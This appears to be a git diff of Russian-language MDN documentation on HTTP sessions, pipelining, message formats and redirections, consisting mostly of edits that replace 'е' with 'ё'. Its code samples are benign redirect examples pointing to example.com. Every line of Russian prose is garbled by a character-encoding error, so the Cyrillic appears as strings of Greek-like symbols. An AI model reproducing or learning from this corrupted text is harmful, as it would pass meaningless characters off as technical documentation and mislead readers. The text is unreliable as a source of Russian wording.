Π‘Π΅Ρ€Π²Π΅Ρ€Ρ‹ ΠΈ/ΠΈΠ»ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ часто Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΈ ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ свои истинныС IP-адрСса ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ…. HTTP запросы ΠΈΠ΄ΡƒΡ‚ Ρ‡Π΅Ρ€Π΅Π· прокси для пСрСсСчСния этого сСтСвого Π±Π°Ρ€ΡŒΠ΅Ρ€Π°. НС всС прокси -- HTTP прокси. SOCKS-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ», Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠΏΠ΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅. Π”Ρ€ΡƒΠ³ΠΈΠ΅, ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ftp, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ этими прокси.</li>
<li><em>БСссии</em><br>
- ИспользованиС HTTP ΠΊΡƒΠΊ позволяСт ΡΠ²ΡΠ·Π°Ρ‚ΡŒ запрос с состояниСм Π½Π° сСрвСрС. Π­Ρ‚ΠΎ создаСт сСссию,Β  хотя ядро HTTP -- ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π±Π΅Π· состояния.Β  Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΊΠΎΡ€Π·ΠΈΠ½ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΌΠ°Π³Π°Π·ΠΈΠ½Π°Ρ…, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ для Π»ΡŽΠ±Ρ‹Ρ… сайтов, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²Ρ‹Ρ…ΠΎΠ΄.</li>
+ ИспользованиС HTTP ΠΊΡƒΠΊ позволяСт ΡΠ²ΡΠ·Π°Ρ‚ΡŒ запрос с состояниСм Π½Π° сСрвСрС. Π­Ρ‚ΠΎ создаёт сСссию,Β  хотя ядро HTTP -- ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π±Π΅Π· состояния.Β  Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΊΠΎΡ€Π·ΠΈΠ½ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΌΠ°Π³Π°Π·ΠΈΠ½Π°Ρ…, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ для Π»ΡŽΠ±Ρ‹Ρ… сайтов, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²Ρ‹Ρ…ΠΎΠ΄.</li>
</ul>
<h2 id="HTTP_ΠΏΠΎΡ‚ΠΎΠΊ">HTTP ΠΏΠΎΡ‚ΠΎΠΊ</h2>
@@ -125,13 +125,13 @@ Content-Type: text/html
<li>Π—Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ соСдинСниС Π΄Π»ΡΒ Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… запросов.</li>
</ol>
-<p>Если Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ HTTP-ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€, нСсколько запросов ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π±Π΅Π· оТидания получСния ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ. HTTP-ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ тяТСло внСдряСтся Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ сСти, Π³Π΄Π΅ старыС куски ПО ΡΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ с соврСмСнными вСрсиями.Β  HTTP-ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ Π±Ρ‹Π» Π·Π°ΠΌΠ΅Π½Π΅Π½ Π² HTTP/2 Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Π΅ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠ½Ρ‹Π΅ запросы Π²ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ΅.</p>
+<p>Если Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ HTTP-ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€, нСсколько запросов ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π±Π΅Π· оТидания получСния ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ. HTTP-ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ тяТСло внСдряСтся Π² ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ сСти, Π³Π΄Π΅ старыС куски ПО ΡΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ с соврСмСнными вСрсиями.Β  HTTP-ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€ Π±Ρ‹Π» Π·Π°ΠΌΠ΅Π½Ρ‘Π½ Π² HTTP/2 Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Π΅ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠ½Ρ‹Π΅ запросы Π²ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ΅.</p>
<h2 id="HTTP_сообщСния">HTTP сообщСния</h2>
<p>HTTP/1.1 ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅ HTTP сообщСния Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎ-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹. Π’ вСрсии HTTP/2 эти сообщСния встроСны Π² Π½ΠΎΠ²ΡƒΡŽ Π±ΠΈΠ½Π°Ρ€Π½ΡƒΡŽ структуру, Ρ„Ρ€Π΅ΠΉΠΌ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ компрСссия Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΈ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Π”Π°ΠΆΠ΅ Ссли Ρ‡Π°ΡΡ‚ΡŒ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ HTTP сообщСния ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π° Π² этой вСрсии HTTP, сСмантика ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ сообщСния Π½Π΅ измСняСтся ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ воссоздаёт (Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ) ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ HTTP-запрос. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для понимания HTTP/2 сообщСний Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ HTTP/1.1.</p>
-<p>БущСствуСт Π΄Π²Π° Ρ‚ΠΈΠΏΠ° HTTP сообщСний, запросы ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π² своСм Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅.</p>
+<p>БущСствуСт Π΄Π²Π° Ρ‚ΠΈΠΏΠ° HTTP сообщСний, запросы ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π² своём Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅.</p>
<h3 id="Запросы">Запросы</h3>
@@ -167,6 +167,6 @@ Content-Type: text/html
<h2 id="Π’Ρ‹Π²ΠΎΠ΄">Π’Ρ‹Π²ΠΎΠ΄</h2>
-<p>HTTP -- Π»Π΅Π³ΠΊΠΈΠΉ Π² использовании Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСра, вмСстС со ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΊ простому добавлСнию Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², позволяСт HTTP ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ вмСстС с Ρ€Π°ΡΡˆΠΈΡ€ΡΡŽΡ‰ΠΈΠΌΠΈΡΡ возмоТностями Π‘Π΅Ρ‚ΠΈ.</p>
+<p>HTTP -- Π»Ρ‘Π³ΠΊΠΈΠΉ Π² использовании Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСра, вмСстС со ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΊ простому добавлСнию Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², позволяСт HTTP ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ вмСстС с Ρ€Π°ΡΡˆΠΈΡ€ΡΡŽΡ‰ΠΈΠΌΠΈΡΡ возмоТностями Π‘Π΅Ρ‚ΠΈ.</p>
-<p>Π₯отя HTTP/2 добавляСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, встраивая HTTP сообщСния Π²ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΡ‹ для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, базовая структура сообщСний ΠΎΡΡ‚Π°Π»Π°ΡΡŒ с HTTP/1.0. БСссионный ΠΏΠΎΡ‚ΠΎΠΊ остаСтся простым, позволяя ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ с простым <a href="/en-US/docs/Tools/Network_Monitor">ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠΌ HTTP-сообщСний</a>.</p>
+<p>Π₯отя HTTP/2 добавляСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, встраивая HTTP сообщСния Π²ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΡ‹ для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, базовая структура сообщСний ΠΎΡΡ‚Π°Π»Π°ΡΡŒ с HTTP/1.0. БСссионный ΠΏΠΎΡ‚ΠΎΠΊ остаётся простым, позволяя ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ с простым <a href="/en-US/docs/Tools/Network_Monitor">ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠΌ HTTP-сообщСний</a>.</p>
diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html
index aa1a214099..24d77f80f5 100644
--- a/files/ru/web/http/redirections/index.html
+++ b/files/ru/web/http/redirections/index.html
@@ -53,7 +53,7 @@ translation_of: Web/HTTP/Redirections
<h3 id="Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅_пСрСнаправлСния">Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ пСрСнаправлСния</h3>
-<p>Иногда, доступ ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌΡƒ рСсурсу Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ мСста, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.Β Π’ этом случаС, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ пСрСнаправлСния. ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ Ρ€ΠΎΠ±ΠΎΡ‚Ρ‹ Π½Π΅ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ Π½ΠΎΠ²ΡƒΡŽ, Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ссылку. Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ пСрСнаправлСния Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ, ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ рСсурсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ страницы.</p>
+<p>Иногда, доступ ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌΡƒ рСсурсу Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ мСста, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.Β Π’ этом случаС, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ пСрСнаправлСния. ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ Ρ€ΠΎΠ±ΠΎΡ‚Ρ‹ Π½Π΅ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ Π½ΠΎΠ²ΡƒΡŽ, Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ссылку. Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ пСрСнаправлСния Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ, ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ рСсурсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ страницы.</p>
<table class="standard-table">
<thead>
@@ -111,18 +111,18 @@ translation_of: Web/HTTP/Redirections
<tr>
<td><code>304</code></td>
<td><code>Not Modified</code></td>
- <td>ОбновлСниС кСша: ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ кСша всС Π΅Ρ‰Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано.</td>
+ <td>ОбновлСниС кСша: ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ кСша всС Π΅Ρ‰Ρ‘ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано.</td>
</tr>
</tbody>
</table>
<h2 id="ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅_способы_указания_ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ">ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ способы указания ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ</h2>
-<p>HTTP пСрСнаправлСния это Π½Π΅ СдинствСнный способ пСрСадрСсации. Π•ΡΡ‚ΡŒ Π΅Ρ‰Π΅ Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: HTML пСрСнаправлСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("meta")}} , ΠΈ JavaScript пСрСнаправлСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p>
+<p>HTTP пСрСнаправлСния это Π½Π΅ СдинствСнный способ пСрСадрСсации. Π•ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°: HTML пСрСнаправлСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("meta")}} , ΠΈ JavaScript пСрСнаправлСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p>
<h3 id="HTML_пСрСнаправлСния">HTML пСрСнаправлСния</h3>
-<p>HTTP пСрСнаправлСния Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ способ создания ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ, Π½ΠΎ, ΠΈΠ½ΠΎΠ³Π΄Π°, Ρƒ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π½Π΅Ρ‚Ρƒ контроля Π½Π°Π΄ сСрвСром ΠΈΠ»ΠΈ возмоТности Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒΒ Π΅Π³ΠΎ.  Для Ρ‚Π°ΠΊΠΈΡ… особых случаСв, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ HTML страницу с элСмСнтом  {{HTMLElement("meta")}} ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ {{htmlattrxref("http-equiv", "meta")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>refresh</code> Π² Π±Π»ΠΎΠΊΠ΅ {{HTMLElement("head")}}. Когда страница отобраТаСтся, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°ΠΉΠ΄Π΅Ρ‚ этот элСмСнт ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ страницу.</p>
+<p>HTTP пСрСнаправлСния Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ способ создания ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΉ, Π½ΠΎ, ΠΈΠ½ΠΎΠ³Π΄Π°, Ρƒ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π½Π΅Ρ‚Ρƒ контроля Π½Π°Π΄ сСрвСром ΠΈΠ»ΠΈ возмоТности Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒΒ Π΅Π³ΠΎ.  Для Ρ‚Π°ΠΊΠΈΡ… особых случаСв, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ HTML страницу с элСмСнтом  {{HTMLElement("meta")}} ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ {{htmlattrxref("http-equiv", "meta")}} Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>refresh</code> Π² Π±Π»ΠΎΠΊΠ΅ {{HTMLElement("head")}}. Когда страница отобраТаСтся, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ этот элСмСнт ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ страницу.</p>
<pre class="brush: html">&lt;head&gt;
&lt;meta http-equiv="refresh" content="0; URL=http://www.example.com/" /&gt;
@@ -143,14 +143,14 @@ translation_of: Web/HTTP/Redirections
<pre class="brush: js">window.location = "http://www.example.com/";</pre>
-<p>Как ΠΈ HTML пСрСнаправлСния, этот Ρ‚ΠΈΠΏ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° всСх рСсурсах, ΠΈ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ JavaScript. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° исполнится ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ условиС.</p>
+<p>Как ΠΈ HTML пСрСнаправлСния, этот Ρ‚ΠΈΠΏ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° всСх рСсурсах, ΠΈ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ JavaScript. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° исполнится ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ условиС.</p>
<h3 id="ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π½ΠΎΡΡ‚ΡŒ">ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π½ΠΎΡΡ‚ΡŒ</h3>
